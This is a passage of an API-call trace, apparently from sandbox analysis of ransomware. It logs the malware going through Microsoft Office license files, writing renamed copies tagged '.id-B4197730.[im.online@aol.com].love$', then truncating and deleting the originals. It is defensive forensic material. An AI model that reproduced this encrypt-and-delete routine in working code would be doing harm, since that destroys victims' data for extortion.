Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0257.231] lstrlenW (lpString=".dbf") returned 4 [0257.231] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0257.231] lstrlenW (lpString=".1cd") returned 4 [0257.231] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0257.231] lstrlenW (lpString=".jpg") returned 4 [0257.231] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.231] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0257.231] lstrlenW (lpString="client-issuance-root-bridge-test.xrm-ms") returned 39 [0257.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0257.234] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=3219) returned 1 [0257.234] CloseHandle (hObject=0x42c) returned 1 [0257.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 0x220 [0257.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0257.234] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.235] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0257.236] GetLastError () returned 0x0 [0257.236] ReadFile (in: hFile=0x42c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0xc93, lpOverlapped=0x0) returned 1 [0257.766] WriteFile (in: hFile=0x45c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xca0, lpOverlapped=0x0) returned 1 [0257.770] ReadFile (in: hFile=0x42c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0257.770] WriteFile (in: hFile=0x45c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x122, lpOverlapped=0x0) returned 1 [0257.770] SetEndOfFile (hFile=0x45c) returned 1 [0257.771] CloseHandle (hObject=0x45c) returned 1 [0257.773] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.773] SetEndOfFile (hFile=0x42c) returned 1 [0257.778] CloseHandle (hObject=0x42c) returned 1 [0257.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 1 [0257.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0257.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0257.782] lstrlenW (lpString=".doc") returned 4 [0257.782] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.782] lstrlenW (lpString=".docx") returned 5 [0257.782] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.782] lstrlenW (lpString=".pdf") returned 4 [0257.782] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.782] lstrlenW (lpString=".xls") returned 4 [0257.782] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.782] lstrlenW (lpString=".xlsx") returned 5 [0257.782] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.782] lstrlenW (lpString=".ppt") returned 4 [0257.782] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0257.782] lstrlenW (lpString=".zip") returned 4 [0257.783] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.783] lstrlenW (lpString=".rar") returned 4 [0257.783] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.783] lstrlenW (lpString=".bz2") returned 4 [0257.783] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.783] lstrlenW (lpString=".7z") returned 3 [0257.783] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0257.783] lstrlenW (lpString=".dbf") returned 4 [0257.783] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0257.783] lstrlenW (lpString=".1cd") returned 4 [0257.783] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0257.783] lstrlenW (lpString=".jpg") returned 4 [0257.783] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0257.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0257.783] lstrlenW (lpString=".doc") returned 4 [0257.783] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.783] lstrlenW (lpString=".docx") returned 5 [0257.783] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.783] lstrlenW (lpString=".pdf") returned 4 [0257.784] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.784] lstrlenW (lpString=".xls") returned 4 [0257.784] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.784] lstrlenW (lpString=".xlsx") returned 5 [0257.784] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.784] lstrlenW (lpString=".ppt") returned 4 [0257.784] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0257.784] lstrlenW (lpString=".zip") returned 4 [0257.784] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.784] lstrlenW (lpString=".rar") returned 4 [0257.784] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.784] lstrlenW (lpString=".bz2") returned 4 [0257.784] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.784] lstrlenW (lpString=".7z") returned 3 [0257.784] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0257.784] lstrlenW (lpString=".dbf") returned 4 [0257.784] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0257.784] lstrlenW (lpString=".1cd") returned 4 [0257.784] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0257.784] lstrlenW (lpString=".jpg") returned 4 [0257.784] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.785] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0257.785] lstrlenW (lpString="client-issuance-ul.xrm-ms") returned 25 [0257.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0257.841] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=4208) returned 1 [0257.841] CloseHandle (hObject=0x3f4) returned 1 [0257.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 0x220 [0258.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0258.285] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.285] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0258.309] GetLastError () returned 0x0 [0258.309] ReadFile (in: hFile=0x538, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x1070, lpOverlapped=0x0) returned 1 [0258.403] WriteFile (in: hFile=0x418, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x1080, lpOverlapped=0x0) returned 1 [0258.406] ReadFile (in: hFile=0x538, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0258.406] WriteFile (in: hFile=0x418, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x106, lpOverlapped=0x0) returned 1 [0258.406] SetEndOfFile (hFile=0x418) returned 1 [0258.406] CloseHandle (hObject=0x418) returned 1 [0258.406] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.406] SetEndOfFile (hFile=0x538) returned 1 [0258.411] CloseHandle (hObject=0x538) returned 1 [0258.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 1 [0258.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0258.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0258.414] lstrlenW (lpString=".doc") returned 4 [0258.414] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.414] lstrlenW (lpString=".docx") returned 5 [0258.414] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.414] lstrlenW (lpString=".pdf") returned 4 [0258.414] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.414] lstrlenW (lpString=".xls") returned 4 [0258.414] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.414] lstrlenW (lpString=".xlsx") returned 5 [0258.414] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.414] lstrlenW (lpString=".ppt") returned 4 [0258.414] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0258.414] lstrlenW (lpString=".zip") returned 4 [0258.414] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.414] lstrlenW (lpString=".rar") returned 4 [0258.414] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.414] lstrlenW (lpString=".bz2") returned 4 [0258.414] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.414] lstrlenW (lpString=".7z") returned 3 [0258.414] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0258.415] lstrlenW (lpString=".dbf") returned 4 [0258.415] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0258.415] lstrlenW (lpString=".1cd") returned 4 [0258.415] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0258.415] lstrlenW (lpString=".jpg") returned 4 [0258.415] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0258.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0258.415] lstrlenW (lpString=".doc") returned 4 [0258.415] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.415] lstrlenW (lpString=".docx") returned 5 [0258.415] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.415] lstrlenW (lpString=".pdf") returned 4 [0258.415] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.415] lstrlenW (lpString=".xls") returned 4 [0258.416] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.416] lstrlenW (lpString=".xlsx") returned 5 [0258.416] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.416] lstrlenW (lpString=".ppt") returned 4 [0258.416] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0258.416] lstrlenW (lpString=".zip") returned 4 [0258.416] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.416] lstrlenW (lpString=".rar") returned 4 [0258.416] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.416] lstrlenW (lpString=".bz2") returned 4 [0258.416] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.416] lstrlenW (lpString=".7z") returned 3 [0258.416] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0258.416] lstrlenW (lpString=".dbf") returned 4 [0258.416] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0258.416] lstrlenW (lpString=".1cd") returned 4 [0258.416] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0258.416] lstrlenW (lpString=".jpg") returned 4 [0258.416] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.417] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0258.417] lstrlenW (lpString="ExcelR_Retail-ppd.xrm-ms") returned 24 [0258.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0258.418] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=20844) returned 1 [0258.418] CloseHandle (hObject=0x538) returned 1 [0258.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 0x220 [0258.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0258.419] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.419] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0258.421] GetLastError () returned 0x0 [0258.421] ReadFile (in: hFile=0x538, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x516c, lpOverlapped=0x0) returned 1 [0259.417] WriteFile (in: hFile=0x418, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x5170, lpOverlapped=0x0) returned 1 [0259.419] ReadFile (in: hFile=0x538, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0259.419] WriteFile (in: hFile=0x418, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x104, lpOverlapped=0x0) returned 1 [0259.420] SetEndOfFile (hFile=0x418) returned 1 [0259.516] CloseHandle (hObject=0x418) returned 1 [0259.516] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0259.516] SetEndOfFile (hFile=0x538) returned 1 [0259.521] CloseHandle (hObject=0x538) returned 1 [0259.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0259.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 1 [0260.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0260.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0260.365] lstrlenW (lpString=".doc") returned 4 [0260.365] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0260.365] lstrlenW (lpString=".docx") returned 5 [0260.365] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0260.365] lstrlenW (lpString=".pdf") returned 4 [0260.365] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0260.365] lstrlenW (lpString=".xls") returned 4 [0260.365] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0260.365] lstrlenW (lpString=".xlsx") returned 5 [0260.365] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0260.365] lstrlenW (lpString=".ppt") returned 4 [0260.365] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0260.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0260.365] lstrlenW (lpString=".zip") returned 4 [0260.365] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0260.366] lstrlenW (lpString=".rar") returned 4 [0260.366] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0260.366] lstrlenW (lpString=".bz2") returned 4 [0260.366] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0260.366] lstrlenW (lpString=".7z") returned 3 [0260.366] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0260.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0260.366] lstrlenW (lpString=".dbf") returned 4 [0260.366] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0260.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0260.386] lstrlenW (lpString=".1cd") returned 4 [0260.387] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0260.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0260.387] lstrlenW (lpString=".jpg") returned 4 [0260.387] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0260.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0260.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0260.387] lstrlenW (lpString=".doc") returned 4 [0260.387] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0260.387] lstrlenW (lpString=".docx") returned 5 [0260.387] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0260.387] lstrlenW (lpString=".pdf") returned 4 [0260.387] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0260.387] lstrlenW (lpString=".xls") returned 4 [0260.387] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0260.387] lstrlenW (lpString=".xlsx") returned 5 [0260.387] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0260.387] lstrlenW (lpString=".ppt") returned 4 [0260.387] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0260.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0260.388] lstrlenW (lpString=".zip") returned 4 [0260.388] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0260.388] lstrlenW (lpString=".rar") returned 4 [0260.388] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0260.388] lstrlenW (lpString=".bz2") returned 4 [0260.388] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0260.388] lstrlenW (lpString=".7z") returned 3 [0260.388] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0260.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0260.388] lstrlenW (lpString=".dbf") returned 4 [0260.388] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0260.388] lstrlenW (lpString="C:\\Program Files\\Microsoft 